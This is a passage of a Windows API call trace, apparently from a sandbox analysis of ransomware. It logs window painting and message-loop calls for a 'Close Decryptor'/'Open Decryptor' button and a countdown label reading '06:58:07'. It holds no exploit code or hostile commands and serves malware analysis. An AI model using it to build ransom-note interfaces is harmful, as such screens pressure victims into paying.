[0164.867] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0164.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.867] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0164.867] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0164.867] GetSystemMetrics (nIndex=59) returned 1460 [0164.867] GetSystemMetrics (nIndex=60) returned 920 [0164.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.867] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0164.867] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0164.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.868] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0164.868] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0164.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.868] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0164.868] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0164.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.869] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0164.869] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0164.869] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0164.869] GetFocus () returned 0x30212 [0164.869] IsChild (hWndParent=0x10248, hWnd=0x30212) returned 0 [0164.869] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0164.869] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0164.870] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0164.870] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0164.870] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0164.870] GetClientRect (in: hWnd=0x8004e, lpRect=0x19df84 | out: lpRect=0x19df84) returned 1 [0164.871] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0164.871] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.871] GetSystemMetrics (nIndex=42) returned 0 [0164.871] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de64, nMaxCount=1 | out: lpString="") returned 0 [0164.871] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de64) returned 0x0 [0164.871] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de8c | out: lpRect=0x19de8c) returned 1 [0164.871] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0164.871] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0164.871] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0164.871] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0164.871] SaveDC (hdc=0x10105d6) returned 1 [0164.871] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0164.871] CreateSolidBrush (color=0x323533) returned 0x2210073a [0164.871] FillRect (hDC=0x10105d6, lprc=0x19dd2c, hbr=0x2210073a) returned 1 [0164.871] DeleteObject (ho=0x2210073a) returned 1 [0164.871] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0164.872] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0164.872] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.872] GetSystemMetrics (nIndex=42) returned 0 [0164.872] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0164.872] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0164.872] GetClientRect (in: hWnd=0x8004e, lpRect=0x19de2c | out: lpRect=0x19de2c) returned 1 [0164.872] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0164.872] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0164.872] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0164.872] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0164.872] SaveDC (hdc=0x10105d6) returned 1 [0164.872] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0164.872] CreateSolidBrush (color=0x323533) returned 0x2310073a [0164.872] FillRect (hDC=0x10105d6, lprc=0x19dccc, hbr=0x2310073a) returned 1 [0164.872] DeleteObject (ho=0x2310073a) returned 1 [0164.872] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0164.872] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0164.872] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.872] GetSystemMetrics (nIndex=42) returned 0 [0164.873] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19de04, nMaxCount=1 | out: lpString="") returned 0 [0164.873] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19de04) returned 0x0 [0164.874] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0164.874] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0164.874] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0164.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0164.875] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0164.875] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0164.875] GetParent (hWnd=0x10248) returned 0x8004e [0164.875] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0164.875] GetParent (hWnd=0x10248) returned 0x8004e [0164.875] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0164.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.875] GetSystemMetrics (nIndex=42) returned 0 [0164.875] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0164.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0164.875] GetWindowTextLengthW (hWnd=0x30212) returned 15 [0164.875] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0164.875] GetSystemMetrics (nIndex=42) returned 0 [0164.875] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=16 | out: lpString="Close Decryptor") returned 15 [0164.875] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0x10, lParam=0x19e8f8) returned 0xf [0164.876] SetWindowTextW (hWnd=0x30212, lpString="Open Decryptor") returned 1 [0164.876] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x304e1c8) returned 0x1 [0164.876] GetStockObject (i=5) returned 0x900015 [0164.876] GetStockObject (i=5) returned 0x900015 [0164.876] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0164.876] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0164.876] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0164.876] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0164.876] GetCapture () returned 0x30212 [0164.877] ReleaseCapture () returned 1 [0164.877] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0164.877] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.877] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.877] IsWindowUnicode (hWnd=0x30212) returned 1 [0164.877] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.877] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x258018e) returned 0x1 [0164.877] SetCursor (hCursor=0x10003) returned 0x10003 [0164.877] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.877] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.877] GetKeyState (nVirtKey=1) returned 0 [0164.878] GetKeyState (nVirtKey=2) returned 0 [0164.878] GetKeyState (nVirtKey=4) returned 0 [0164.878] GetKeyState (nVirtKey=5) returned 0 [0164.878] GetKeyState (nVirtKey=6) returned 0 [0164.878] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.878] IsWindowUnicode (hWnd=0x90016) returned 1 [0164.878] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.878] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.878] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0164.878] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0164.878] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0164.878] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0164.878] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0164.878] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0164.881] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.881] IsWindowUnicode (hWnd=0x30212) returned 1 [0164.881] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0164.881] TranslateMessage (lpMsg=0x19ee78) returned 0 [0164.881] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0164.881] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0164.881] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0164.882] CreateCompatibleDC (hdc=0x10105d6) returned 0x54010738 [0164.882] SelectObject (hdc=0x54010738, h=0x8050721) returned 0x85000f [0164.882] GdipCreateFromHDC (hdc=0x54010738, graphics=0x19e8d8) returned 0x0 [0164.882] GdipTranslateWorldTransform (graphics=0x6921c90, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0164.882] GdipSetClipRectI (graphics=0x6921c90, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0164.882] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0164.882] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x69206e8) returned 0x0 [0164.882] GdipIsMatrixIdentity (matrix=0x69206e8, result=0x19e938) returned 0x0 [0164.882] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.882] GdipGetMatrixElements (matrix=0x69206e8, matrixOut=0xf75bb0) returned 0x0 [0164.882] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.882] GdipDeleteMatrix (matrix=0x69206e8) returned 0x0 [0164.882] GdipCreateRegion (region=0x19e920) returned 0x0 [0164.882] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0164.882] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e92c) returned 0x0 [0164.883] GdipSaveGraphics (graphics=0x6921c90, state=0x19e958) returned 0x0 [0164.883] GdipRestoreGraphics (graphics=0x6921c90, state=0xfd350dbd) returned 0x0 [0164.883] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0164.883] GdipGetDC (graphics=0x6921c90, hdc=0x19e708) returned 0x0 [0164.883] GetCurrentObject (hdc=0x54010738, type=0x1) returned 0xb00017 [0164.883] GetCurrentObject (hdc=0x54010738, type=0x2) returned 0x900010 [0164.883] GetCurrentObject (hdc=0x54010738, type=0x7) returned 0x8050721 [0164.883] GetCurrentObject (hdc=0x54010738, type=0x6) returned 0x8a01c2 [0164.883] SaveDC (hdc=0x54010738) returned 1 [0164.883] GetNearestColor (hdc=0x54010738, color=0x323533) returned 0x323533 [0164.883] GetNearestColor (hdc=0x54010738, color=0x111111) returned 0x111111 [0164.883] GetNearestColor (hdc=0x54010738, color=0x0) returned 0x0 [0164.883] GetNearestColor (hdc=0x54010738, color=0x868c88) returned 0x868c88 [0164.883] GetNearestColor (hdc=0x54010738, color=0x6994f5) returned 0x6994f5 [0164.883] GetNearestColor (hdc=0x54010738, color=0x969c98) returned 0x969c98 [0164.883] GetNearestColor (hdc=0x54010738, color=0x868c88) returned 0x868c88 [0164.884] GetNearestColor (hdc=0x54010738, color=0x3c3f3d) returned 0x3c3f3d [0164.884] GetNearestColor (hdc=0x54010738, color=0x6994f5) returned 0x6994f5 [0164.884] RestoreDC (hdc=0x54010738, nSavedDC=-1) returned 1 [0164.884] GdipReleaseDC (graphics=0x6921c90, hdc=0x54010738) returned 0x0 [0164.884] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x240a0712 [0164.884] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e5c4, format=0x102415, lpdtp=0x304e784 | out: lpchText="Open Decryptor", lprc=0x19e5c4) returned 60 [0164.884] GdipCreateRegion (region=0x19e64c) returned 0x0 [0164.884] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0164.884] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0164.884] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x6915f08) returned 0x0 [0164.885] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0164.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.885] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0164.885] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0164.885] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0164.885] LocalFree (hMem=0xf75bb0) returned 0x0 [0164.885] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0164.885] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e68c) returned 0x0 [0164.885] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e67c) returned 0x0 [0164.885] GdipGetRegionHRgn (region=0x6921f70, graphics=0x6921c90, hRgn=0x19e67c) returned 0x0 [0164.885] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0164.885] GdipGetDC (graphics=0x6921c90, hdc=0x19e694) returned 0x0 [0164.885] GetCurrentObject (hdc=0x54010738, type=0x1) returned 0xb00017 [0164.885] GetCurrentObject (hdc=0x54010738, type=0x2) returned 0x900010 [0164.885] GetCurrentObject (hdc=0x54010738, type=0x7) returned 0x8050721 [0164.885] GetCurrentObject (hdc=0x54010738, type=0x6) returned 0x8a01c2 [0164.885] SaveDC (hdc=0x54010738) returned 1 [0164.885] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x810406f7 [0164.885] GetClipRgn (hdc=0x54010738, hrgn=0x810406f7) returned 0 [0164.886] SelectClipRgn (hdc=0x54010738, hrgn=0x1004070e) returned 2 [0164.886] DeleteObject (ho=0x810406f7) returned 1 [0164.886] DeleteObject (ho=0x1004070e) returned 1 [0164.886] OffsetViewportOrgEx (in: hdc=0x54010738, x=0, y=0, lppt=0x304e974 | out: lppt=0x304e974) returned 1 [0164.886] GetNearestColor (hdc=0x54010738, color=0x3c3f3d) returned 0x3c3f3d [0164.886] CreateSolidBrush (color=0x3c3f3d) returned 0x2410073a [0164.886] FillRect (hDC=0x54010738, lprc=0x19e698, hbr=0x2410073a) returned 1 [0164.886] DeleteObject (ho=0x2410073a) returned 1 [0164.886] RestoreDC (hdc=0x54010738, nSavedDC=-1) returned 1 [0164.886] GdipReleaseDC (graphics=0x6921c90, hdc=0x54010738) returned 0x0 [0164.886] GdipGetTextRenderingHint (graphics=0x6921c90, mode=0x19e710) returned 0x0 [0164.886] GdipGetDC (graphics=0x6921c90, hdc=0x19e6fc) returned 0x0 [0164.886] GetCurrentObject (hdc=0x54010738, type=0x1) returned 0xb00017 [0164.886] GetCurrentObject (hdc=0x54010738, type=0x2) returned 0x900010 [0164.886] GetCurrentObject (hdc=0x54010738, type=0x7) returned 0x8050721 [0164.886] GetCurrentObject (hdc=0x54010738, type=0x6) returned 0x8a01c2 [0164.886] SaveDC (hdc=0x54010738) returned 1 [0164.887] GetTextAlign (hdc=0x54010738) returned 0x0 [0164.887] GetTextColor (hdc=0x54010738) returned 0x0 [0164.887] SetTextColor (hdc=0x54010738, color=0x6994f5) returned 0x0 [0164.887] GetCurrentObject (hdc=0x54010738, type=0x6) returned 0x8a01c2 [0164.887] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0164.887] SelectObject (hdc=0x54010738, h=0x110a0722) returned 0x8a01c2 [0164.887] GetBkMode (hdc=0x54010738) returned 2 [0164.887] SetBkMode (hdc=0x54010738, mode=1) returned 2 [0164.887] DrawTextExW (in: hdc=0x54010738, lpchText="Open Decryptor", cchText=14, lprc=0x19e52c, format=0x102415, lpdtp=0x304ec30 | out: lpchText="Open Decryptor", lprc=0x19e52c) returned 60 [0164.888] DrawTextExW (in: hdc=0x54010738, lpchText="Open Decryptor", cchText=14, lprc=0x19e690, format=0x102015, lpdtp=0x304ec30 | out: lpchText="Open Decryptor", lprc=0x19e690) returned 60 [0164.888] RestoreDC (hdc=0x54010738, nSavedDC=-1) returned 1 [0164.888] GdipReleaseDC (graphics=0x6921c90, hdc=0x54010738) returned 0x0 [0164.888] GetFocus () returned 0x30212 [0164.888] GetFocus () returned 0x30212 [0164.888] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0164.888] GdipDrawRectangleI (graphics=0x6921c90, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0164.888] GdipDeletePen (pen=0x6915e78) returned 0x0 [0164.889] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0164.889] GdipDrawRectangleI (graphics=0x6921c90, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0164.889] GdipDeletePen (pen=0x6915e78) returned 0x0 [0164.889] GdipGetDC (graphics=0x6921c90, hdc=0x19e918) returned 0x0 [0164.889] BitBlt (hdc=0x10105d6, x=0, y=0, cx=178, cy=111, hdcSrc=0x54010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0164.889] GdipReleaseDC (graphics=0x6921c90, hdc=0x54010738) returned 0x0 [0164.889] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0164.889] SelectObject (hdc=0x54010738, h=0x85000f) returned 0x8050721 [0164.889] DeleteDC (hdc=0x54010738) returned 1 [0164.889] GdipDeleteGraphics (graphics=0x6921c90) returned 0x0 [0164.889] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0164.889] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.889] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0164.889] WaitMessage () returned 1 [0165.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0165.582] IsWindowUnicode (hWnd=0x50074) returned 1 [0165.583] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0165.583] TranslateMessage (lpMsg=0x19ee78) returned 0 [0165.583] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0165.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0165.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0165.583] GetSystemMetrics (nIndex=42) returned 0 [0165.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:06") returned 8 [0165.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0165.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0165.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0165.583] GetSystemMetrics (nIndex=42) returned 0 [0165.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:06") returned 8 [0165.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0165.583] SetWindowTextW (hWnd=0x20236, lpString="06:58:07") returned 1 [0165.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x304ed1c) returned 0x1 [0165.584] GetStockObject (i=5) returned 0x900015 [0165.584] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0165.584] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0165.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0165.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0165.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0165.584] GetSystemMetrics (nIndex=42) returned 0 [0165.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:07") returned 8 [0165.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0165.584] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0165.585] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0165.585] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0165.585] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:07", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x304ef0c | out: lpchText="06:58:07", lprc=0x19e938) returned 50 [0165.585] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0165.585] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0165.585] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.585] GetSystemMetrics (nIndex=42) returned 0 [0165.585] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0165.585] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0165.585] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0165.586] IsWindowUnicode (hWnd=0x20236) returned 1 [0165.586] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0165.586] TranslateMessage (lpMsg=0x19ee78) returned 0 [0165.586] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0165.586] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0165.586] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0165.586] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x56010738 [0165.586] SelectObject (hdc=0x56010738, h=0x8050721) returned 0x85000f [0165.586] GdipCreateFromHDC (hdc=0x56010738, graphics=0x19e8e4) returned 0x0 [0165.586] GdipTranslateWorldTransform (graphics=0x6921c90, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0165.586] GdipSetClipRectI (graphics=0x6921c90, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0165.586] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0165.587] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x69206e8) returned 0x0 [0165.587] GdipIsMatrixIdentity (matrix=0x69206e8, result=0x19e944) returned 0x0 [0165.587] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0165.587] GdipGetMatrixElements (matrix=0x69206e8, matrixOut=0xf75bb0) returned 0x0 [0165.587] LocalFree (hMem=0xf75bb0) returned 0x0 [0165.587] GdipDeleteMatrix (matrix=0x69206e8) returned 0x0 [0165.587] GdipCreateRegion (region=0x19e92c) returned 0x0 [0165.587] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0165.587] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e938) returned 0x0 [0165.587] GdipSaveGraphics (graphics=0x6921c90, state=0x19e964) returned 0x0 [0165.587] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0165.587] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0165.587] GetSystemMetrics (nIndex=42) returned 0 [0165.587] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:07") returned 8 [0165.587] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0165.587] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0165.587] GdipCreateRegion (region=0x19e780) returned 0x0 [0165.587] GdipGetClip (graphics=0x6921c90, region=0x6922260) returned 0x0 [0165.587] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0165.587] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x6915f08) returned 0x0 [0165.587] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0165.588] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 